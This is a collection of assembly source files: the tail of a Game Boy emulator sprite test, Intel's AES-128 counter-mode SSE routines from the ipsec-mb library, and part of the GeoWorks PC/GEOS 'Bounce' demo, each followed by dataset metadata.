lwaitly_b_loop: ldff a, (c) cmp a, b jrnz lwaitly_b_loop ret .data@7a00 00 00 7f 7f 41 41 41 41 41 41 41 41 41 41 7f 7f 00 00 08 08 08 08 08 08 08 08 08 08 08 08 08 08 00 00 7f 7f 01 01 01 01 7f 7f 40 40 40 40 7f 7f 00 00 7f 7f 01 01 01 01 3f 3f 01 01 01 01 7f 7f 00 00 41 41 41 41 41 41 7f 7f 01 01 01 01 01 01 00 00 7f 7f 40 40 40 40 7e 7e 01 01 01 01 7e 7e 00 00 7f 7f 40 40 40 40 7f 7f 41 41 41 41 7f 7f 00 00 7f 7f 01 01 02 02 04 04 08 08 10 10 10 10 00 00 3e 3e 41 41 41 41 3e 3e 41 41 41 41 3e 3e 00 00 7f 7f 41 41 41 41 7f 7f 01 01 01 01 7f 7f
11.886364
24
0.572658
[ "MIT" ]
Manurocker95/GiovanniEmulator
GIOVANNI/gambatte/test/hwtests/sprites/space/10spritesPrLine_scx6_m3stat_ds_1_cgb04c_out3.asm
2,092
Assembly
4
;; ;; Copyright (c) 2012-2020, Intel Corporation ;; ;; Redistribution and use in source and binary forms, with or without ;; modification, are permitted provided that the following conditions are met: ;; ;; * Redistributions of source code must retain the above copyright notice, ;; this list of conditions and the following disclaimer. ;; * Redistributions in binary form must reproduce the above copyright ;; notice, this list of conditions and the following disclaimer in the ;; documentation and/or other materials provided with the distribution. ;; * Neither the name of Intel Corporation nor the names of its contributors ;; may be used to endorse or promote products derived from this software ;; without specific prior written permission. ;; ;; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" ;; AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE ;; IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE ;; DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE ;; FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" %include "imb_job.asm" %include "include/memcpy.asm" %include "include/const.inc" %include "include/reg_sizes.asm" %include "include/clear_regs.asm" ; routine to do AES128 CNTR enc/decrypt "by8" ; XMM registers are clobbered. Saving/restoring must be done at a higher level %ifndef AES_CNTR_128 %define AES_CNTR_128 aes_cntr_128_sse %define AES_CNTR_BIT_128 aes_cntr_bit_128_sse %endif extern byteswap_const, set_byte15, ddq_add_1, ddq_add_2, ddq_add_3, ddq_add_4 extern ddq_add_5, ddq_add_6, ddq_add_7, ddq_add_8 %define CONCAT(a,b) a %+ b %define MOVDQ movdqu %define xdata0 xmm0 %define xdata1 xmm1 %define xpart xmm1 %define xdata2 xmm2 %define xdata3 xmm3 %define xdata4 xmm4 %define xdata5 xmm5 %define xdata6 xmm6 %define xdata7 xmm7 %define xcounter xmm8 %define xtmp xmm8 %define xbyteswap xmm9 %define xtmp2 xmm9 %define xkey0 xmm10 %define xtmp3 xmm10 %define xkey3 xmm11 %define xkey6 xmm12 %define xkey9 xmm13 %define xkeyA xmm14 %define xkeyB xmm15 %ifdef CNTR_CCM_SSE %ifdef LINUX %define job rdi %define p_in rsi %define p_keys rdx %define p_out rcx %define num_bytes r8 %define p_ivlen r9 %else ;; LINUX %define job rcx %define p_in rdx %define p_keys r8 %define p_out r9 %define num_bytes r10 %define p_ivlen rax %endif ;; LINUX %define p_IV r11 %else ;; CNTR_CCM_SSE %ifdef LINUX %define p_in rdi %define p_IV rsi %define p_keys rdx %define p_out rcx %define num_bytes r8 %define num_bits r8 %define p_ivlen r9 %else ;; LINUX %define p_in rcx %define p_IV rdx %define p_keys r8 %define p_out r9 %define num_bytes r10 %define num_bits r10 %define p_ivlen qword [rsp + 8*6] %endif ;; LINUX %endif ;; CNTR_CCM_SSE %define tmp r11 %define flags r11 %define r_bits r12 %define tmp2 r13 %define mask r14 %macro do_aes_load 2 do_aes %1, %2, 1 %endmacro %macro do_aes_noload 2 do_aes %1, %2, 0 %endmacro ; do_aes num_in_par load_keys ; This increments p_in, but not p_out %macro do_aes 3 %define %%by %1 %define %%cntr_type %2 %define %%load_keys %3 %ifidn %%cntr_type, CNTR_BIT %define %%PADD paddq %else %define %%PADD paddd %endif %if (%%load_keys) movdqa xkey0, [p_keys + 0*16] %endif movdqa xdata0, xcounter pshufb xdata0, xbyteswap %assign i 1 %rep (%%by - 1) movdqa CONCAT(xdata,i), xcounter %%PADD CONCAT(xdata,i), [rel CONCAT(ddq_add_,i)] pshufb CONCAT(xdata,i), xbyteswap %assign i (i + 1) %endrep movdqa xkeyA, [p_keys + 1*16] pxor xdata0, xkey0 %%PADD xcounter, [rel CONCAT(ddq_add_,%%by)] %assign i 1 %rep (%%by - 1) pxor CONCAT(xdata,i), xkey0 %assign i (i + 1) %endrep movdqa xkeyB, [p_keys + 2*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyA ; key 1 %assign i (i+1) %endrep %if (%%load_keys) movdqa xkey3, [p_keys + 3*16] %endif %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyB ; key 2 %assign i (i+1) %endrep add p_in, 16*%%by movdqa xkeyB, [p_keys + 4*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkey3 ; key 3 %assign i (i+1) %endrep movdqa xkeyA, [p_keys + 5*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyB ; key 4 %assign i (i+1) %endrep %if (%%load_keys) movdqa xkey6, [p_keys + 6*16] %endif %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyA ; key 5 %assign i (i+1) %endrep movdqa xkeyA, [p_keys + 7*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkey6 ; key 6 %assign i (i+1) %endrep movdqa xkeyB, [p_keys + 8*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyA ; key 7 %assign i (i+1) %endrep %if (%%load_keys) movdqa xkey9, [p_keys + 9*16] %endif %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkeyB ; key 8 %assign i (i+1) %endrep movdqa xkeyB, [p_keys + 10*16] %assign i 0 %rep %%by aesenc CONCAT(xdata,i), xkey9 ; key 9 %assign i (i+1) %endrep %assign i 0 %rep %%by aesenclast CONCAT(xdata,i), xkeyB ; key 10 %assign i (i+1) %endrep %assign i 0 %rep (%%by / 2) %assign j (i+1) MOVDQ xkeyA, [p_in + i*16 - 16*%%by] MOVDQ xkeyB, [p_in + j*16 - 16*%%by] pxor CONCAT(xdata,i), xkeyA pxor CONCAT(xdata,j), xkeyB %assign i (i+2) %endrep %if (i < %%by) MOVDQ xkeyA, [p_in + i*16 - 16*%%by] pxor CONCAT(xdata,i), xkeyA %endif %ifidn %%cntr_type, CNTR_BIT ;; check if this is the end of the message mov tmp, num_bytes and tmp, ~(%%by*16) jnz %%skip_preserve ;; Check if there is a partial byte or r_bits, r_bits jz %%skip_preserve %assign idx (%%by - 1) ;; Load output to get last partial byte movdqu xtmp, [p_out + idx * 16] ;; Save RCX in temporary GP register mov tmp, rcx mov mask, 0xff mov cl, BYTE(r_bits) shr mask, cl ;; e.g. 3 remaining bits -> mask = 00011111 mov rcx, tmp movq xtmp2, mask pslldq xtmp2, 15 ;; At this point, xtmp2 contains a mask with all 0s, but with some ones ;; in the partial byte ;; Clear all the bits that do not need to be preserved from the output pand xtmp, xtmp2 ;; Clear all bits from the input that are not to be ciphered pandn xtmp2, CONCAT(xdata, idx) por xtmp2, xtmp movdqa CONCAT(xdata, idx), xtmp2 %%skip_preserve: %endif %assign i 0 %rep %%by MOVDQ [p_out + i*16], CONCAT(xdata,i) %assign i (i+1) %endrep %endmacro ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; section .text ;; Macro performing AES-CTR. ;; %macro DO_CNTR 1 %define %%CNTR_TYPE %1 ; [in] Type of CNTR operation to do (CNTR/CNTR_BIT/CCM) %ifidn %%CNTR_TYPE, CCM mov p_in, [job + _src] add p_in, [job + _cipher_start_src_offset_in_bytes] mov p_ivlen, [job + _iv_len_in_bytes] mov num_bytes, [job + _msg_len_to_cipher_in_bytes] mov p_keys, [job + _enc_keys] mov p_out, [job + _dst] movdqa xbyteswap, [rel byteswap_const] ;; Prepare IV ;; ;; Byte 0: flags with L' ;; Calculate L' = 15 - Nonce length - 1 = 14 - IV length mov flags, 14 sub flags, p_ivlen movd xcounter, DWORD(flags) ;; Bytes 1 - 13: Nonce (7 - 13 bytes long) ;; Bytes 1 - 7 are always copied (first 7 bytes) mov p_IV, [job + _iv] pinsrb xcounter, [p_IV], 1 pinsrw xcounter, [p_IV + 1], 1 pinsrd xcounter, [p_IV + 3], 1 cmp p_ivlen, 7 je _finish_nonce_move cmp p_ivlen, 8 je _iv_length_8 cmp p_ivlen, 9 je _iv_length_9 cmp p_ivlen, 10 je _iv_length_10 cmp p_ivlen, 11 je _iv_length_11 cmp p_ivlen, 12 je _iv_length_12 ;; Bytes 8 - 13 _iv_length_13: pinsrb xcounter, [p_IV + 12], 13 _iv_length_12: pinsrb xcounter, [p_IV + 11], 12 _iv_length_11: pinsrd xcounter, [p_IV + 7], 2 jmp _finish_nonce_move _iv_length_10: pinsrb xcounter, [p_IV + 9], 10 _iv_length_9: pinsrb xcounter, [p_IV + 8], 9 _iv_length_8: pinsrb xcounter, [p_IV + 7], 8 _finish_nonce_move: ; last byte = 1 por xcounter, [rel set_byte15] %else ;; CNTR/CNTR_BIT %ifndef LINUX mov num_bytes, [rsp + 8*5] ; arg5 %endif %ifidn %%CNTR_TYPE, CNTR_BIT push r12 push r13 push r14 %endif movdqa xbyteswap, [rel byteswap_const] %ifidn %%CNTR_TYPE, CNTR test p_ivlen, 16 jnz %%iv_is_16_bytes ; Read 12 bytes: Nonce + ESP IV. Then pad with block counter 0x00000001 mov DWORD(tmp), 0x01000000 pinsrq xcounter, [p_IV], 0 pinsrd xcounter, [p_IV + 8], 2 pinsrd xcounter, DWORD(tmp), 3 %else ;; CNTR_BIT ; Read 16 byte IV: Nonce + 8-byte block counter (BE) movdqu xcounter, [p_IV] %endif %endif ;; CNTR/CNTR_BIT/CCM %%bswap_iv: pshufb xcounter, xbyteswap ;; calculate len ;; convert bits to bytes (message length in bits for CNTR_BIT) %ifidn %%CNTR_TYPE, CNTR_BIT mov r_bits, num_bits add num_bits, 7 shr num_bits, 3 ; "num_bits" and "num_bytes" registers are the same and r_bits, 7 ; Check if there are remainder bits (0-7) %endif mov tmp, num_bytes and tmp, 7*16 jz %%chk ; multiple of 8 blocks and/or below 16 bytes ; 1 <= tmp <= 7 cmp tmp, 4*16 jg %%gt4 je %%eq4 ; 1 <= tmp <= 3 cmp tmp, 2*16 jg %%eq3 je %%eq2 %%eq1: do_aes_load 1, %%CNTR_TYPE ; 1 block add p_out, 1*16 jmp %%chk %%eq2: do_aes_load 2, %%CNTR_TYPE ; 2 blocks add p_out, 2*16 jmp %%chk %%eq3: do_aes_load 3, %%CNTR_TYPE ; 3 blocks add p_out, 3*16 jmp %%chk %%eq4: do_aes_load 4, %%CNTR_TYPE add p_out, 4*16 jmp %%chk %%gt4: ; 5 <= tmp <= 7 cmp tmp, 6*16 jg %%eq7 je %%eq6 %%eq5: do_aes_load 5, %%CNTR_TYPE add p_out, 5*16 jmp %%chk %%eq6: do_aes_load 6, %%CNTR_TYPE add p_out, 6*16 jmp %%chk %%eq7: do_aes_load 7, %%CNTR_TYPE add p_out, 7*16 ; fall through to chk %%chk: and num_bytes, ~(7*16) jz %%do_return2 cmp num_bytes, 16 jb %%last ; process multiples of 4 blocks movdqa xkey0, [p_keys + 0*16] movdqa xkey3, [p_keys + 3*16] movdqa xkey6, [p_keys + 6*16] movdqa xkey9, [p_keys + 9*16] align 32 %%main_loop2: ; num_bytes is a multiple of 8 blocks + partial bytes do_aes_noload 8, %%CNTR_TYPE add p_out, 8*16 sub num_bytes, 8*16 cmp num_bytes, 8*16 jae %%main_loop2 ; Check if there is a partial block or num_bytes, num_bytes jnz %%last %%do_return2: %ifidn %%CNTR_TYPE, CCM mov rax, job or dword [rax + _status], STS_COMPLETED_AES %endif %ifidn %%CNTR_TYPE, CNTR_BIT pop r14 pop r13 pop r12 %endif %ifdef SAFE_DATA clear_all_xmms_sse_asm %endif ;; SAFE_DATA ret %%last: ; load partial block into XMM register simd_load_sse_15_1 xpart, p_in, num_bytes %%final_ctr_enc: ; Encryption of a single partial block pshufb xcounter, xbyteswap movdqa xdata0, xcounter pxor xdata0, [p_keys + 16*0] %assign i 1 %rep 9 aesenc xdata0, [p_keys + 16*i] %assign i (i+1) %endrep ; created keystream aesenclast xdata0, [p_keys + 16*i] ; xor keystream with the message (scratch) pxor xdata0, xpart %ifidn %%CNTR_TYPE, CNTR_BIT ;; Check if there is a partial byte or r_bits, r_bits jz %%store_output ;; Load output to get last partial byte simd_load_sse_15_1 xtmp, p_out, num_bytes ;; Save RCX in temporary GP register mov tmp, rcx mov mask, 0xff %ifidn r_bits, rcx %error "r_bits cannot be mapped to rcx!" %endif mov cl, BYTE(r_bits) shr mask, cl ;; e.g. 3 remaining bits -> mask = 00011111 mov rcx, tmp movq xtmp2, mask ;; Get number of full bytes in last block of 16 bytes mov tmp, num_bytes dec tmp XPSLLB xtmp2, tmp, xtmp3, tmp2 ;; At this point, xtmp2 contains a mask with all 0s, but with some ones ;; in the partial byte ;; Clear all the bits that do not need to be preserved from the output pand xtmp, xtmp2 ;; Clear the bits from the input that are not to be ciphered pandn xtmp2, xdata0 por xtmp2, xtmp movdqa xdata0, xtmp2 %endif %%store_output: ; copy result into the output buffer simd_store_sse_15 p_out, xdata0, num_bytes, tmp, rax jmp %%do_return2 %%iv_is_16_bytes: ; Read 16 byte IV: Nonce + ESP IV + block counter (BE) movdqu xcounter, [p_IV] jmp %%bswap_iv %endmacro align 32 %ifdef CNTR_CCM_SSE ; IMB_JOB * aes_cntr_ccm_128_sse(IMB_JOB *job) ; arg 1 : job MKGLOBAL(AES_CNTR_CCM_128,function,internal) AES_CNTR_CCM_128: DO_CNTR CCM %else ;; aes_cntr_128_sse(void *in, void *IV, void *keys, void *out, UINT64 num_bytes, UINT64 iv_len) MKGLOBAL(AES_CNTR_128,function,internal) AES_CNTR_128: DO_CNTR CNTR ;; aes_cntr_bit_128_sse(void *in, void *IV, void *keys, void *out, UINT64 num_bits, UINT64 iv_len) MKGLOBAL(AES_CNTR_BIT_128,function,internal) AES_CNTR_BIT_128: DO_CNTR CNTR_BIT %endif ;; CNTR_CCM_SSE %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
24.283761
98
0.631846
[ "BSD-3-Clause" ]
ipuustin/intel-ipsec-mb
lib/sse/aes128_cntr_by8_sse.asm
14,206
Assembly
4
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1990 -- All Rights Reserved PROJECT: PC/GEOS MODULE: Bounce (Bouncing balls demo) FILE: bounce.asm REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Eric 5/91 doc update, cleanup Don 6/91 Updated to 2.0, added regions DESCRIPTION: This file source code for the Bounce application. This code will be assembled by ESP, and then linked by the GLUE linker to produce a runnable .geo application file. RCS STAMP: $Id: bounce.asm,v 1.1 97/04/04 14:41:00 newdeal Exp $ ------------------------------------------------------------------------------@ ;------------------------------------------------------------------------------ ; Common GEODE stuff ;------------------------------------------------------------------------------ _Application = 1 ; ;Standard include files ; include geos.def include heap.def include geode.def include resource.def include ec.def include sem.def include object.def include win.def include graphics.def include lmem.def include file.def include localize.def ; needed for UI resources files include timer.def include char.def include thread.def include gstring.def ; for the application icon include Objects/winC.def ; for MSG_META_EXPOSED ;------------------------------------------------------------------------------ ; Libraries used ;------------------------------------------------------------------------------ UseLib ui.def ;------------------------------------------------------------------------------ ; Resource Definitions ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Macros ;------------------------------------------------------------------------------ ;------------------------------------------------------------------------------ ; Constants ;------------------------------------------------------------------------------ NUM_BALLS = 20 BALL_WIDTH = 25 BALL_HEIGHT = 25 BALL_MOVE_X = 25 BALL_MOVE_Y = 25 BACKGROUND_COLOR = C_WHITE ;misc stuff BOUNCE_ERROR enum FatalErrors BOUNCE_ERROR_BAD_UI_ARGUMENTS enum FatalErrors ;------------------------------------------------------------------------------ ; Records and Structures ;------------------------------------------------------------------------------ Ball struct B_pos Point <> B_color Color Ball ends BounceDrawType etype word BDT_SQUARE enum BounceDrawType BDT_CIRCLE enum BounceDrawType ;------------------------------------------------------------------------------ ; Definitions ;------------------------------------------------------------------------------ ;This class is used for this application's Process object. BounceProcessClass class GenProcessClass ;This message is sent by the "On/Off" ItemGroup, which the user changes it. MSG_BOUNCE_SET_ON_OFF_STATE message ;This message is sent by the "Draw Type" ItemGroup, which the user changes ; it. MSG_BOUNCE_SET_DRAW_TYPE message ;This message is sent to this object every time the timer expires. MSG_DO_NEXT message BounceProcessClass endc ;------------------------------------------------------------------------------ ; Resources ;------------------------------------------------------------------------------ include bounce.rdef ;------------------------------------------------------------------------------ ; Variables ;------------------------------------------------------------------------------ idata segment BounceProcessClass mask CLASSF_NEVER_SAVED ;------------------------------------------------------------------------------ ; Application State Data ; ;All of the following variables are saved to the application's state file. ;------------------------------------------------------------------------------ StartStateData label byte ;beginning of application state data ;On/Off state: onOffState byte FALSE ;ON by default drawType BounceDrawType BDT_SQUARE xChange word BALL_MOVE_X yChange word BALL_MOVE_Y balls Ball NUM_BALLS dup (<>) curBallValues Ball <> nextBallPtr word offset balls EndStateData label byte ;beginning of application state data idata ends ;--------------------------------------------------- udata segment viewWindow word ;handle of the window in the GenView. backColor Color ;color of background of view udata ends ;------------------------------------------------------------------------------ ; Code ;------------------------------------------------------------------------------ CommonCode segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: BounceUIOpenApplication -- MSG_GEN_PROCESS_OPEN_APPLICATION DESCRIPTION: CALLED BY: PASS: AX = Method CX = AppAttachFlags DX = Handle to AppLaunchBlock BP = Block handle DS, ES = DGroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam/Tony 1990 Initial version Eric 4/27/91 improvements, doc update ------------------------------------------------------------------------------@ BounceUIOpenApplication method BounceProcessClass, MSG_GEN_PROCESS_OPEN_APPLICATION tst bp jz 10$ ;Restore the data (if any) push ax, cx, es ; save the method #, segment mov bx, bp ; block handle to BX call MemLock mov ds, ax ; set up the segment mov cx, (EndStateData - StartStateData) clr si mov di, offset StartStateData rep movsb ; copy the bytes call MemUnlock pop ax, cx, es ; restore the method #, segment 10$: ;Now call the superclass segmov ds, es ; DGroup => DS mov di, offset BounceProcessClass ; class of SuperClass we call call ObjCallSuperNoLock ; method already in AX initUIComponents: ForceRef initUIComponents ;initialize our UI components according to current state push ax, cx, dx, bp ;set up the user interface state call BounceInitUIComponents pop ax, cx, dx, bp ret BounceUIOpenApplication endm COMMENT @---------------------------------------------------------------------- FUNCTION: BounceUICloseApplication -- MSG_GEN_PROCESS_CLOSE_APPLICATION DESCRIPTION: CALLED BY: PASS: DS, ES = DGroup AX = MSG_GEN_PROCESS_CLOSE_APPLICATION RETURN: CX = Block handle holding state data DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 4/27/91 Initial version ------------------------------------------------------------------------------@ BounceUICloseApplication method BounceProcessClass, \ MSG_GEN_PROCESS_CLOSE_APPLICATION ; Allocate the block mov ax, (EndStateData - StartStateData) mov cx, ALLOC_DYNAMIC_NO_ERR or mask HF_SHARABLE or (mask HAF_LOCK shl 8) call MemAlloc mov es, ax ; Store the state mov cx, (EndStateData - StartStateData) clr di mov si, offset StartStateData rep movsb ; copy the bytes ;Clean up call MemUnlock mov cx, bx ret BounceUICloseApplication endm COMMENT @---------------------------------------------------------------------- FUNCTION: BounceInitUIComponents DESCRIPTION: This routine will initialize all of our UI components according to the current state of our variables. CALLED BY: BounceAttach PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 4/28/91 Initial version ------------------------------------------------------------------------------@ BounceInitUIComponents proc near ;set the on/off state mov cx, TRUE tst ds:[onOffState] ;is it on? jnz setOnOffState ;skip if so... mov cx, FALSE setOnOffState: GetResourceHandleNS OnOffItemGroup, bx mov si, offset OnOffItemGroup ;object OD => BX:SI mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr dx clr di call ObjMessage ;set the draw type state mov cx, ds:[drawType] GetResourceHandleNS DrawTypeItemGroup, bx mov si, offset DrawTypeItemGroup mov ax, MSG_GEN_ITEM_GROUP_SET_SINGLE_SELECTION clr dx clr di call ObjMessage ;determine the background color of the View GetResourceHandleNS BounceView, bx mov si, offset BounceView mov ax, MSG_GEN_VIEW_GET_COLOR mov di, mask MF_CALL call ObjMessage mov ds:[backColor], cl ; assume indexed color - store value ret BounceInitUIComponents endp COMMENT @---------------------------------------------------------------------- FUNCTION: BounceAttach -- MSG_META_ATTACH handler DESCRIPTION: Perform initialization. PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Eric 5/91 doc update ------------------------------------------------------------------------------@ BounceAttach method BounceProcessClass, MSG_META_ATTACH ;Call our superclass (the UI) to get stuff started mov di,offset BounceProcessClass call ObjCallSuperNoLock tst ds:[onOffState] jz done call GeodeGetProcessHandle mov ax,MSG_DO_NEXT mov di,mask MF_FORCE_QUEUE call ObjMessage done: ret BounceAttach endp COMMENT @---------------------------------------------------------------------- FUNCTION: BounceDetach DESCRIPTION: Cleans up the application prior to exiting CALLED BY: GLOBAL PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Eric 5/91 improvements, doc update ------------------------------------------------------------------------------@ ;BounceDetach method BounceProcessClass, MSG_META_DETACH ; ; ;turn off timers, etc. ; ; ; Call our superclass (the UI) to finish ; ; mov ax,MSG_META_DETACH ; mov di,offset BounceProcessClass ; call ObjCallSuperNoLock ; ret ;BounceDetach endp COMMENT @---------------------------------------------------------------------- FUNCTION: BounceViewWinClosed DESCRIPTION: This method is sent by the window inside the GenView, as it is closing. This indicates that the application is exiting, or is being iconified. PASS: ds = dgroup bp - window handle RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Eric 5/91 doc update ------------------------------------------------------------------------------@ BounceViewWinClosed method BounceProcessClass, MSG_META_CONTENT_VIEW_WIN_CLOSED cmp bp, ds:[viewWindow] ;is it our window? jnz 50$ ;skip if not... ;nuke our window and GState handles mov ds:[viewWindow], 0 ;indicate that we don't have a window 50$: mov di,offset BounceProcessClass GOTO ObjCallSuperNoLock BounceViewWinClosed endp COMMENT @---------------------------------------------------------------------- FUNCTION: BounceSetOnOffState -- MSG_BOUNCE_SET_ON_OFF_STATE DESCRIPTION: This method is sent by our "On/Off" ItemGroup, when the user makes a change. PASS: ds = dgroup cx = TRUE/FALSE RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 5/91 Initial version ------------------------------------------------------------------------------@ BounceSetOnOffState method BounceProcessClass, \ MSG_BOUNCE_SET_ON_OFF_STATE ;cx = TRUE or FALSE, so just store lower byte of this value mov ds:[onOffState], cl ;save the new state tst cl jz 90$ ;skip if now is off... mov ds:[onOffState],1 call GeodeGetProcessHandle mov ax,MSG_DO_NEXT mov di,mask MF_FORCE_QUEUE call ObjMessage 90$: ret BounceSetOnOffState endm COMMENT @---------------------------------------------------------------------- FUNCTION: BounceSetDrawType -- MSG_BOUNCE_SET_DRAW_TYPE DESCRIPTION: This method is sent by our "Draw Type" ItemGroup, when the user makes a change. PASS: ds = dgroup cx = BounceDrawType RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Eric 5/91 Initial version ------------------------------------------------------------------------------@ BounceSetDrawType method BounceProcessClass, \ MSG_BOUNCE_SET_DRAW_TYPE ; cx = BounceDrawType, so just store the value ; mov ds:[drawType], cx ; store the draw type ; force the window to get re-drawn ; mov cx, ds:[viewWindow] ; window handle => CX jcxz done ; if none, do nothing ; Tell the window that its image is invalid ; mov di, cx call GrCreateState call GrGetWinBounds ; bounds => AX, BX, CX, DX call GrInvalRect ; invalidate the image in the Window call GrDestroyState done: ret BounceSetDrawType endm COMMENT @---------------------------------------------------------------------- FUNCTION: BounceExposed -- MSG_META_EXPOSED handler. DESCRIPTION: Draws all of the balls CALLED BY: GLOBAL PASS: ds = dgroup RETURN: nothing DESTROYED: AX, BX, CX, DX, DI, SI, BP PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam/Tony 1990 initial version Eric 5/91 doc update, cleanup ------------------------------------------------------------------------------@ BounceExposed method BounceProcessClass, MSG_META_EXPOSED ;if we have just appeared on-screen, or have been opened from ;the iconified state, then send method to self to continue bouncing tst ds:[viewWindow] jnz 10$ ;skip if already was visible... mov ds:[viewWindow],cx ;save handle of window. ;if we are on, then start up loop: tst ds:[onOffState] jz 10$ ;skip if not on... call GeodeGetProcessHandle mov ax,MSG_DO_NEXT mov di,mask MF_FORCE_QUEUE call ObjMessage 10$: ;Create us a GState mov di, ds:[viewWindow] ;di = window call GrCreateState ;returns gstate in di ;Updating the window... call GrBeginUpdate mov cx, NUM_BALLS ;draw them all mov si, offset balls BEW_loop: push cx call DrawBall pop cx add si,size Ball loop BEW_loop call GrEndUpdate ;done updating... call GrDestroyState ;destroy our gstate ret BounceExposed endp COMMENT @---------------------------------------------------------------------- FUNCTION: Bounce -- MSG_ handler DESCRIPTION: Draw the next ball PASS: ds = dgroup RETURN: nothing DESTROYED: AX, BX, CX, DX, DI, SI, BP PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Eric 5/91 doc update ------------------------------------------------------------------------------@ BounceDoNext method BounceProcessClass, MSG_DO_NEXT mov di, ds:[viewWindow] ;di = window tst di jz done call GrCreateState ;returns gstate in di ; Suck up a bit of CPU time, so we can play w/new thread model ; ; mov cx, 100 ;nextBallLoop: ; push cx call NextBall ; pop cx ; loop nextBallLoop call GrDestroyState ;destroy our gstate ;this is what decides our CPU load! If you comment this out, ;Bounce will suck up 100% of the CPU. mov ax,1 call TimerSleep tst ds:[onOffState] jz done call GeodeGetProcessHandle mov ax,MSG_DO_NEXT mov di,mask MF_FORCE_QUEUE call ObjMessage done: ret BounceDoNext endp COMMENT @---------------------------------------------------------------------- FUNCTION: NextBall() DESCRIPTION: Draws the next ball, by erasing the last one, and determining the next ball atributes and drawing the ball PASS: DI = GState RETURN: Nothing DESTROYED: AX, BX, CX, DX, BP PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Don 6/91 Documentation update ------------------------------------------------------------------------------@ NextBall proc near mov si,ds:[nextBallPtr] call EraseBall ;erase current ball call GetNextBallValues ; store vars for next ball mov ds:[si].B_color,cl mov ds:[si].B_pos.P_x,ax mov ds:[si].B_pos.P_y,bx ; draw the ball call DrawBall ; move to next ball add si,size Ball ;move to next ball cmp si,offset balls + ((size Ball) * NUM_BALLS) jnz noWrap mov si,offset balls noWrap: mov ds:[nextBallPtr],si ret NextBall endp COMMENT @---------------------------------------------------------------------- FUNCTION: GetNextBallValues() DESCRIPTION: Determine all the attributes of the nest ball, including position and color PASS: DS = Color RETURN: AX = Horizontal position BX = Vertical position CL = Color DESTROYED: AX, BX, CX, DX PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam 1990 Initial version Don 6/91 Documentation update ------------------------------------------------------------------------------@ GetNextBallValues proc near call GrGetWinBounds ;cx = right, dx = bottom sub cx,BALL_WIDTH ;make cx = max x position sub dx,BALL_HEIGHT ;make dx = max y position ; move to next x position mov ax,ds:[curBallValues].B_pos.P_x add ax,ds:[xChange] js leftWall ;if <0 then hit left wall cmp ax,cx jl xGood mov ax,cx ;past right edge, turn around jmp xTurnAround leftWall: clr ax ;past left edge, turn around xTurnAround: neg ds:[xChange] xGood: mov ds:[curBallValues].B_pos.P_x,ax ; move to next y position mov bx,ds:[curBallValues].B_pos.P_y add bx,ds:[yChange] js topWall ;if <0 then hit top wall cmp bx,dx jl yGood mov bx,dx ;past bottom edge, turn around jmp yTurnAround topWall: clr bx ;past top edge, turn around yTurnAround: neg ds:[yChange] yGood: mov ds:[curBallValues].B_pos.P_y,bx ; move to 